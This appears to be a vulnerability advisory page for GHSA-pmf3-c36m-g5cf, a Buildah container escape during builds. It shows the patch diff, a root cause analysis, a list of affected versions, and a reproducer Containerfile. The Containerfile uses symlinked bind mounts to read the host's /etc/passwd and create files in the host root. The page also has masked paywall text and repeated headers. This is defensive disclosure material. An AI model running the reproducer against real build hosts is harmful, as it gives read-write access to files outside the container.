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GHSA-pmf3-c36m-g5cf

GHSA-pmf3-c36m-g5cf: Container escape at build time

Impact

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

Patches

From @nalind

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

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GHSA-pmf3-c36m-g5cf

GHSA-pmf3-c36m-g5cf:

N/A

CVSS Score

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Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
github.com/containers/buildah	go	>= 1.35.0, < 1.35.1	1.35.1
github.com/containers/buildah	go	>= 1.34.0, < 1.34.3	1.34.3
github.com/containers/buildah	go	>= 1.33.0, < 1.33.7	1.33.7
github.com/containers/buildah	go	>= 1.25.0, < 1.27.4	1.27.4
github.com/containers/buildah	go	>= 1.24.0, < 1.24.7	1.24.7
github.com/containers/buildah	go	>= 1.28.0, < 1.29.3	1.29.3
github.com/containers/buildah	go	>= 1.30.0, < 1.31.5	1.31.5
github.com/containers/buildah	go	>= 1.32.0, < 1.32.3	1.32.3

Technical Details

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Root Cause Analysis

The vulnerability stems from insecure path resolution in GetBindMount() function. The original implementation used naive filepath.Join(filepath.Clean()) which could be bypassed with symlinks pointing to host root (e.g., /rootdir -> /). The patch replaces this with copier.Eval which properly evaluates paths within the build context. The reproduction steps demonstrate how this function's flawed path resolution allowed host filesystem access through specially crafted RUN --mount instructions.

Vulnerable functions

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WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

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Basic Information

Basic Information

Concerned about an active attack path?

GHSA-pmf3-c36m-g5cf: Container escape at build time

Impact

Patches

Reproducer

GHSA-pmf3-c36m-g5cf:

N/A

-

Basic Information

Basic Information

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Technical Details

Technical Details

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Root Cause Analysis

Vulnerable functions

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WAF Protection Rules

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Reasoning

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Basic Information

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Technical Details

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Root Cause Analysis

Vulnerable functions

GHSA-pmf3-c36m-g5cf: Container escape at build time

Impact

Patches

Reproducer

To Test

Testing with an older version of Buildah with the issue

Testing with the patch

Workarounds

References

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